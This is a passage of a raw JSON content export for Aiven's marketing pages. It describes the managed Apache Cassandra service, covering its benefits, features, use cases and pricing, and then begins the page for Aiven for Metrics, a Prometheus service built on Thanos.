Cassandra®"},"rounded":false,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"},"title":"Contact us"},"title":"Aiven for Apache Cassandra"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"Resources"}],"markDefs":[],"style":"normal"},{"_key":"afbd2cc4220d","_type":"block","children":[{"_key":"c9271723eef60","_type":"span","marks":["ec2dbd00690c"],"text":"What is Apache Cassandra? (blog)"}],"markDefs":[{"_key":"ec2dbd00690c","_type":"internalLink","internalLink":{"_ref":"6ZDXHjT69kyBI80TVQmyE8","_type":"reference"}}],"style":"normal"},{"_key":"e111e036232c","_type":"block","children":[{"_key":"9d5612e9a7d90","_type":"span","marks":["fdd2e53426d8"],"text":"Aiven for Apache Cassandra® (docs)"}],"markDefs":[{"_key":"fdd2e53426d8","_type":"link","href":"https://aiven.io/docs/products/cassandra"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"b5717d32146a","_type":"block","children":[{"_key":"b814885ffabe0","_type":"span","marks":[],"text":"Get a fully managed, fault tolerant NoSQL database – from Aiven"}],"markDefs":[],"style":"h3"},{"_key":"ad5d9042b57d","_type":"block","children":[{"_key":"abe31aad63930","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® is a highly available, performant, and scalable wide-column NoSQL database. It supports a distributed architecture with asynchronous replication and is highly fault tolerant."}],"markDefs":[],"style":"normal"},{"_key":"367bde79a6e1","_type":"block","children":[{"_key":"d7cd8af867b80","_type":"span","marks":[],"text":"Apache Cassandra® is designed to handle large volumes of data, and is a truly distributed database where individual nodes communicate with one another without referencing a master node. This improves scalability and fault tolerance."}],"markDefs":[],"style":"normal"},{"_key":"7db6b658c29f","_type":"block","children":[{"_key":"48fcde95c0000","_type":"span","marks":[],"text":"With Aiven, you get added management features and updates so that you can build a reliable database for all your business needs."}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"b1e2d12f827a","_type":"block","children":[{"_key":"5725659b6cbf0","_type":"span","marks":[],"text":"Set up fully managed Cassandra in less than 10 minutes — directly from our web console or programmatically via our API, CLI, or Terraform provider. Easily connect it to your existing tech stack and start utilizing a high performance distributed NoSQL database."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What can you do with Aiven for Apache Cassandra®?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"0930828f9f86","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"cassandra"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% uptime. Plus, you get access to a 100% human support team — in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% uptime. 100% human support."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82e1c300f395","_type":"block","children":[{"_key":"7abe2e7325c60","_type":"span","marks":[],"text":"Increase the memory in your cluster, create new clusters, switch cloud providers or expand to new regions. Cassandra has never been this easy."}],"markDefs":[],"style":"normal"}],"title":"Scale up or down easily. Whenever you need."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"7a9fbe86f06f","_type":"block","children":[{"_key":"dbfed466b3dc0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades to your clusters? We’ll take care of them for you so that you can focus on turning your data into actionable insights."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"a9ee17207b31","_type":"span","marks":[],"text":"Aiven for Apache Cassandra comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","rounded":false,"subtitle":[{"_key":"5ee5e4d9bc52","_type":"block","children":[{"_key":"65982be526560","_type":"span","marks":[],"text":"With Aiven’s fully managed service, you get all the features of Apache Cassandra without any of the infrastructure stress."}],"markDefs":[],"style":"normal"},{"_key":"2dcc7bd03d34","_type":"block","children":[{"_key":"7e04226581330","_type":"span","marks":[],"text":"Because Aiven makes setting up services easy, you can snap Cassandra into your data pipelines in a matter of minutes, and get on with developing. All the installation, management, and updating is taken care of, and we provide an extensive set of tools and integrations out-of-the-box."}],"markDefs":[],"style":"normal"},{"_key":"01bc7a8b4fae","_type":"block","children":[{"_key":"128535b635480","_type":"span","marks":[],"text":"With Aiven for Apache Cassandra, you get a highly available, performant and scalable database on a highly available, performant and scalable platform. "}],"markDefs":[],"style":"normal"},{"_key":"9aa2d1289ed8","_type":"block","children":[{"_key":"1e8486e434f7","_type":"span","marks":[],"text":"It’s a match made in Aiven."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Apache Cassandra® as-a-service from Aiven","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"619b35740189","_type":"block","children":[{"_key":"f65fe8da2ee60","_type":"span","marks":[],"text":"Cassandra’s scalability makes it a perfect choice for eCommerce applications. Used for product catalogs and personalization engines, it can handle seasonal peaks with ease, and its fault tolerance helps maintain operational consistency."}],"markDefs":[],"style":"normal"}],"title":"eCommerce","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"cc2bb1a1a4e0","_type":"block","children":[{"_key":"57b3640659200","_type":"span","marks":[],"text":"Cassandra can be utilized to track pretty much anything from dispatch to doorstep. Large logistics organizations use it to handle global deliveries, typically processing and analyzing huge amounts of data to keep the flow of goods smooth and secure."}],"markDefs":[],"style":"normal"}],"title":"Logistics","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"1a94a22d36f4","_type":"block","children":[{"_key":"d26a9d61d0bc0","_type":"span","marks":[],"text":"Originally developed by Facebook, Cassandra is optimized for tracking granular viewing habits down to the time spent viewing. This data can be used to deliver personalized recommendations, and the customer experience it enables extends to multiple use cases."}],"markDefs":[],"style":"normal"}],"title":"Entertainment","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Apache Cassandra®"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","noSpaceBottom":false,"rounded":false,"tagline":"Features","title":"Key features of Aiven for Apache Cassandra®","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"4b26d13dbdf3","_type":"block","children":[{"_key":"0ab8d21da1ec0","_type":"span","marks":[],"text":"Production-ready Cassandra in 10 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"027c85af9f0b","_type":"block","children":[{"_key":"290b2727046b0","_type":"span","marks":[],"text":"Deploy to the cloud of your choice with 5 public clouds and 100+ regions supported"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a56016676537","_type":"block","children":[{"_key":"61d835003a900","_type":"span","marks":[],"text":"High performance clusters based on carefully selected instance types and storage options"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e7ffe5d17a46","_type":"block","children":[{"_key":"59f32ad053900","_type":"span","marks":[],"text":"All plans come with minimum three nodes, spread across cloud provider availability zones"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d9812a479f18","_type":"block","children":[{"_key":"34d0ec9048900","_type":"span","marks":["5c87d4279d3a"],"text":"Bring-your-own-cloud (BYOC) "},{"_key":"34d0ec9048901","_type":"span","marks":[],"text":"deployment model supported for strict control requirements"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"5c87d4279d3a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-74393525a8b040dca2dadd2397cfdab1ee47df06-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Connect","text":[{"_key":"fdcd18e5e3e3","_type":"block","children":[{"_key":"cebe9e375ffa","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"556e5db9b1da","_type":"span","marks":["85139808a6ef"],"text":"VPC peering"},{"_key":"2ead455af98a","_type":"span","marks":[],"text":", "},{"_key":"79f91cd1cc13","_type":"span","marks":["3e2bdec0341c"],"text":"PrivateLink"},{"_key":"6798f544664d","_type":"span","marks":[],"text":" or "},{"_key":"18f9fa636f26","_type":"span","marks":["ecf78a7796d0"],"text":"TransitGateway"},{"_key":"f12572922f96","_type":"span","marks":[],"text":" technologies"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"85139808a6ef","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"3e2bdec0341c","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"ecf78a7796d0","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"}],"style":"normal"},{"_key":"95f5efbd5992","_type":"block","children":[{"_key":"351f2672b522","_type":"span","marks":["018e7219a268"],"text":"Integrate"},{"_key":"3725eed2c52a","_type":"span","marks":[],"text":" with your favorite observability tooling — from Datadog to Prometheus, Jolokia, and more — or use "},{"_key":"41d832aca3c4","_type":"span","marks":["5d2a3320516b"],"text":"Aiven observability tools"},{"_key":"51d79a6471b9","_type":"span","marks":[],"text":" for enhanced monitoring and logging"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"018e7219a268","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}},{"_key":"5d2a3320516b","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"}],"title":"Integrate with your data infrastructure","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-347106a896f09c702a523974fbe4e92e70e01c9a-1280x720-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":false,"rounded":false,"tagline":"Control","text":[{"_key":"451b643ee594","_type":"block","children":[{"_key":"6750ab7710a30","_type":"span","marks":[],"text":"Manage your Cassandra cluster using Aiven Console (GUI), CLI or "},{"_key":"6750ab7710a31","_type":"span","marks":["18690176761e"],"text":"Terraform"},{"_key":"6750ab7710a32","_type":"span","marks":[],"text":" tools"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"18690176761e","_type":"link","href":"https://docs.aiven.io/docs/tools/terraform/get-started"}],"style":"normal"},{"_key":"b113fcd57cc4","_type":"block","children":[{"_key":"26e5ce3c8a3a0","_type":"span","marks":[],"text":"Scale, fork and upgrade with just a few clicks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4750ba6d1f79","_type":"block","children":[{"_key":"b0b6e21aaf010","_type":"span","marks":[],"text":"Guaranteed compatibility with open source software"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5836e3c90b21","_type":"block","children":[{"_key":"43bb074d8fc60","_type":"span","marks":[],"text":"Migrate easily between clouds and regions"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"DevOps-friendly management and development","variant":"mediaLeft"},{"_key":"7bff0ebf3f03cb580d82a70f2160a6ea","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-f86f1fae1c59cee5854cd0a91016f7e94bf2d08b-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Enjoy","text":[{"_key":"b4536951b24a","_type":"block","children":[{"_key":"1b8ffdf481930","_type":"span","marks":[],"text":"Self-healing platform"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be0e0c4916a5","_type":"block","children":[{"_key":"72420e4dea5d0","_type":"span","marks":[],"text":"Zero downtime during scaling, upgrading, and other management operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8abaff0091e7","_type":"block","children":[{"_key":"411bc2e965150","_type":"span","marks":[],"text":"Automatic backups every 12 hours, depending on your plan"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"14afad19675e","_type":"block","children":[{"_key":"8f5be5a8acd40","_type":"span","marks":["ad498af7cb95"],"text":"Secure and compliant solution"},{"_key":"38c65f227bf1","_type":"span","marks":[],"text":" — ISO 27001:2013, SOC2, GDPR, HIPAA, and PCI/DSS"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"ad498af7cb95","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Reliable, secure and zero lock-in","variant":"mediaRight"},{"_key":"f87f714443e0","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Spin up your first cluster now","variant":"centerColumn"},{"_key":"02efd9f51c09b3e23114a95a05094f9a","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":true,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},"subtitle":[{"_key":"4f69542e8b0a","_type":"block","children":[{"_key":"b97648b53084","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for Apache Cassandra® pricing: Pay only for what you use.","variant":"single-service"},{"_key":"1506e2957639","_type":"accordion","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"disabled":false,"fullWidth":false,"id":"faq","isFaqAccordion":true,"items":[{"_key":"8398c599356b","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3","_type":"reference"},{"_key":"9806feb73cd5","_ref":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec","_type":"reference"}],"roundedCorners":"rounded","title":"FAQ"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=cassandra\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"8fdd98c591cd","_type":"block","children":[{"_key":"e1296b63a5cf0","_type":"span","marks":[],"text":"Starting at just $420 a month, prices vary based on the number of nodes and your storage needs. Hourly billing saves you money. Change your plan anytime – at no extra cost."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"969c6537af90","_type":"block","children":[{"_key":"fe2d67069b970","_type":"span","marks":[],"text":"All-inclusive pricing so you never get end-of-the-month surprises. No extra maintenance, networking, or storage fees. Private networking (VPC), single-tenant, and high-availability multi-AZ available. Spin up clusters and regions when you need them, and shut them down when you don’t."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for Apache Cassandra® pricing: Pay only for what you use."},{"_key":"ca9978eb5c2d","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"955ce9a0c473","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/cassandra","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_type":"reference"}},"subtitle":[{"_key":"50193800fa0c","_type":"block","children":[{"_key":"ec85f05004810","_type":"span","marks":[],"text":"Getting started with Aiven for Apache Cassandra®, core concepts, how-to's, and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentation","variant":"default"},{"_key":"8c9ec3a3cd1f","_ref":"6ZDXHjT69kyBI80TVQmyE8","_type":"reference"},{"_key":"6761b399c8d3","_ref":"31KO0a4ngqFD8DZLjKKkti","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"Resources","title":"Learn how to use Aiven for Apache Cassandra®"}],"seo":{"_type":"metaData","metaDescription":"Aiven for Apache Cassandra – fully managed, wide column NoSQL database ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2ccc6137425916c2703204b68777801d41228e0b-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for Cassandra®\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed Cassandra, Cassandra as a Service, Cloud Cassandra\",\n \"description\": \"Aiven for Apache Cassandra is a managed and hosted distributed NoSQL database providing scalability, high availability, and excellent fault tolerance. Aiven for Apache Cassandra is available on Google Cloud Platform, Amazon Web Services, Microsoft Azure, DigitalOcean, and UpCloud.\",\n \"featureList\": \"Terraform support, Automatic backups, VPC peering, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure, Available in DigitalOcean\",\n \"softwareHelp\": {\n \"url\": \"https://docs.aiven.io/cassandra\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source distributed NoSQL database\",\n \"applicationSubCategory\": \"Non-relational database\"\n}","metaTitle":"Managed Apache Cassandra | Aiven"},"service":{"_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"reference"},"slug":{"_type":"slug","current":"/cassandra"},"title":"Cassandra"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"}],"_createdAt":"2024-08-02T08:18:58Z","_id":"af7d02c4-3523-4a21-a721-2cd5fb32a0f4","_rev":"whpRLkwvxva49hcLZ6eih7","_type":"product","_updatedAt":"2025-01-15T15:45:17Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundPosition":"center center","backgroundSize":"cover","breadcrumbs":{"currentPage":"Aiven for Metrics","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"de0b7725cd50","_type":"block","children":[{"_key":"f46147edbbf80","_type":"span","marks":[],"text":"Fully managed Thanos metrics – a cost-effective, open source Prometheus solution designed to scale"}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"16722d4a54f7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-87dda551c19ac9f7378915aff23d39592bc65474-3333x2369-png","_type":"reference"}},"imageSize":"default","isImageLarge":false,"primaryCTA":{"_type":"link","caption":"No credit card required","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/metrics","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/m3db","title":"See docs"},"title":"Aiven for Metrics","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-85dd452da136a8d9c34d5d317508de811aa34662-48x48-svg","_type":"reference"}},"logoLink":{"_type":"link","title":"Aiven for Metrics"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Metrics"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"075c192ec54b","_type":"block","children":[{"_key":"917274f012c20","_type":"span","marks":[],"text":"Prometheus metrics at any scale with Aiven for Metrics"}],"markDefs":[],"style":"h3"},{"_key":"b1f3e74ab3a8","_type":"block","children":[{"_key":"dfde5c33c2300","_type":"span","marks":[],"text":"Aiven for Metrics is built for scale. A global query view can aggregate data from multiple Prometheus sources, and built-in object storage combines data durability with low overall cost. "}],"markDefs":[],"style":"normal"},{"_key":"39a22ab23126","_type":"block","children":[{"_key":"6f2f1dbeaaee0","_type":"span","marks":[],"text":"Aiven for Metrics integrates with any other Aiven service, and can send system metrics to Aiven for Grafana for pre-built dashboards. With out-of-the-box support for PromQL, Aiven for Metrics is ready to provide insights across your Aiven environments, or horizontally scale existing Prometheus monitoring. "}],"markDefs":[],"style":"normal"},{"_key":"8e841d062f7c","_type":"block","children":[{"_key":"20197a41238d0","_type":"span","marks":["66c0ef43edc7"],"text":"Introducing Aiven for Metrics (blog)"}],"markDefs":[{"_key":"66c0ef43edc7","_type":"internalLink","internalLink":{"_ref":"117d4f9e-b627-41f0-92d6-6b5a3abd5038","_type":"reference"}}],"style":"normal"},{"_key":"74bdb8fe96e6","_type":"block","children":[{"_key":"26870d78e7df0","_type":"span","marks":["14eda9e2d2af"],"text":"Aiven for Metrics (docs)"}],"markDefs":[{"_key":"14eda9e2d2af","_type":"link","href":"https://aiven.io/docs/products/metrics"}],"style":"normal"}]}],"subtitle":[{"_key":"1c4602bcf54d","_type":"block","children":[{"_key":"64b1f01aeab20","_type":"span","marks":[],"text":"Aiven for Metrics is a Prometheus compatible metrics solution with built-in object storage. It is powered by "},{"_key":"64b1f01aeab21","_type":"span","marks":["87021c4f71df"],"text":"Thanos"},{"_key":"64b1f01aeab22","_type":"span","marks":[],"text":", an open source, scalable Prometheus setup and part of the Cloud Native Computing Foundation (CNCF)."}],"markDefs":[{"_key":"87021c4f71df","_type":"link","href":"https://thanos.io/"}],"style":"normal"}],"tagline":"How it works","title":"What is Aiven for Metrics?","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"4edce3fd736a","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"metrics"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"disabled":false,"fullWidth":false,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"0ca3c7831c13","_type":"block","children":[{"_key":"4835d23bf00b0","_type":"span","marks":[],"text":"Aiven for Metrics provides a global query view to aggregate Prometheus sources in one place, and combine those insights with metrics collected from other Aiven services."}],"markDefs":[],"style":"normal"}],"title":"Aggregated Prometheus Metrics"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3d6b06081757","_type":"block","children":[{"_key":"6aab0045abb20","_type":"span","marks":[],"text":"Aiven for Metrics automatically moves older data to object storage to ensure it can be retained as long as it's needed while keeping costs down."}],"markDefs":[],"style":"normal"}],"title":"Powerful metrics without breaking the bank."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"3646150a7b8c","_type":"block","children":[{"_key":"5cded86c159b0","_type":"span","marks":[],"text":"Stressing about applying maintenance updates or version upgrades? We’ll take care of them for you so that you can focus on putting your data to work."}],"markDefs":[],"style":"normal"}],"title":"Automatic updates and upgrades. Zero stress."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"7f9da06ae44f0","_type":"span","marks":[],"text":"Aiven for Metrics comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers everything, and you can scale up (or down) whenever you need."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."}],"id":"benefits","roundedCorners":"rounded","subtitle":[{"_key":"03dd9d5f53c1","_type":"block","children":[{"_key":"cc94e24d9b570","_type":"span","marks":[],"text":"Aiven makes it easy to deploy metrics for all the services you manage.  Allocate additional resources, increase storage, perform an upgrade, or migrate to a different cloud provider at the push of a button, with zero 